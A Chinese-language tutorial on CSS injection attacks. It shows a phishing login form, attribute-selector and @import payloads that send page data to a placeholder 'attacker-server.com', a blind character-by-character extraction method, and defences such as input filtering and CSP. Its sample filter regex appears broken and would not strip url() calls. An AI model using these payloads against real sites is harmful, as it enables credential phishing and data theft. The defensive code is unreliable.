CSS注入攻击与数据外带技术详解

1. 简介

CSS注入是一种通过注入恶意CSS代码来操纵页面样式或窃取用户敏感数据的攻击技术。相比于传统的HTML注入，CSS注入通常危害较低，但在特定场景下可以与其他漏洞组合利用，实现数据外带甚至用户接管。

2. 基本概念

2.1 HTML注入基础

HTML注入攻击是将恶意HTML代码注入到Web应用程序中，操控页面显示和行为。常见攻击形式包括：

• 简单HTML注入：修改页面内容

  <h2>Injected Heading</h2>
  <p>This is an injected paragraph.</p>
  

• 钓鱼攻击：伪造登录表单

  <form action="http://127.0.0.1/steal_credentials" method="POST">
    <label for="username">Username:</label><br>
    <input type="text" id="username" name="username"><br>
    <label for="password">Password:</label><br>
    <input type="password" id="password" name="password"><br><br>
    <button type="submit">Login</button>
  </form>
  

• XSS攻击：执行恶意脚本

2.2 CSS注入基础

CSS注入允许攻击者通过注入CSS代码改变页面样式：

p { color: red; }

恶意CSS示例：

body { background-image: url('https://www.baidu.com/img/doodlegaokaokaohou_5b0f886d182bfd1761854cb4dfa72fa8.gif');}

3. CSS注入的高级利用技术

3.1 利用CSS属性选择器窃取数据

CSS属性选择器可以用于检测和提取页面中的特定数据：

• 基本属性选择器：

  input[value="password"] {
    background: url(/collectData?value=password);
  }
  

• 值开头匹配：

  input[value^="a"] {
    color:red;
  }
  

• 值结尾匹配：

  input[value$="f"] {
    color:green;
  }
  

3.2 使用CSS变量触发请求

通过CSS变量可以更灵活地控制请求触发：

input[value^="a"] {
  --starts-with-a:url(/startsWithA);
}
input {
  background: var(--starts-with-a,none);
}

3.3 高级CSS选择器

• :has()选择器：选择包含特定后代元素的父元素

  html:has(input[value^="a"]) {
    --starts-with-a:url(/startsWithA);
  }
  

• :not()选择器：排除特定元素

  html:has(input[value^="a"]):not(input[name="def"]) {
    --starts-with-a:url(/startsWithA);
  }
  

4. 数据外带技术

4.1 基本数据外带原理

通过CSS触发外部资源请求，将数据包含在URL中：

input[value^="a"] {
  background: url(/exfil?data=a);
}

4.2 使用@import规则

利用CSS的@import规则可以构建更复杂的数据外带链：

<style>
  @import 'https://attacker-server.com/exfil-start';
</style>

4.3 盲注技术

类似于SQL盲注，可以逐字符提取数据：

1. 检测特定字符是否存在
2. 根据响应判断字符是否正确
3. 逐步构建完整数据

5. 实际攻击案例

5.1 攻击场景示例

假设页面包含敏感数据：

<div>
  <span>wiener - </span>
  <a href="/administrator-panel/delete?username=wiener">Delete</a>
</div>
<div>
  <span>carlos - </span>
  <a href="/administrator-panel/delete?username=carlos">Delete</a>
</div>

5.2 攻击步骤

1. 注入恶意CSS代码：

   <style>
     @import 'https://attacker-server.com/exfil-start';
   </style>
   

2. 服务器返回针对特定元素的CSS规则：

   a[href^="/administrator-panel/delete?username="] {
     background: url(https://attacker-server.com/exfil?data=username-found);
   }
   

3. 通过请求记录确认敏感操作链接存在

6. 防御措施

6.1 输入过滤

• 对用户输入的CSS代码进行严格检查
• 只允许安全的CSS属性和值
• 示例过滤代码：

  document.getElementById('cssForm').addEventListener('submit', function(e) {
    e.preventDefault();
    let cssInput = document.getElementById('cssInput').value;
    cssInput = cssInput.replace(/url$.*?$/g, '');
    const styleElement = document.createElement('style');
    styleElement.textContent = cssInput;
    document.head.appendChild(styleElement);
  });
  

6.2 内容安全策略(CSP)

使用CSP限制外部资源加载：

Content-Security-Policy: default-src 'self'; style-src 'self'

6.3 其他防御方法

• 将用户输入作为纯文本处理，不解析为CSS
• 使用安全的CSS解析库
• 避免在前端展示敏感数据

7. 工具与资源

• Blind CSS Exfiltration工具：https://github.com/hackvertor/blind-css-exfiltration
• 部署方法：

  node css-exfiltrator-server.js
  

8. 总结

CSS注入攻击虽然危害通常低于XSS等攻击，但在特定场景下可以：

1. 窃取页面中的敏感数据
2. 探测页面内容结构
3. 与其他漏洞组合实现更高危害的攻击

防御关键在于：

• 严格的输入过滤
• 合理的内容安全策略
• 避免在前端暴露敏感数据

实际攻击中，CSS注入通常需要特定场景才能发挥最大效果，如页面包含敏感数据且存在CSS注入漏洞。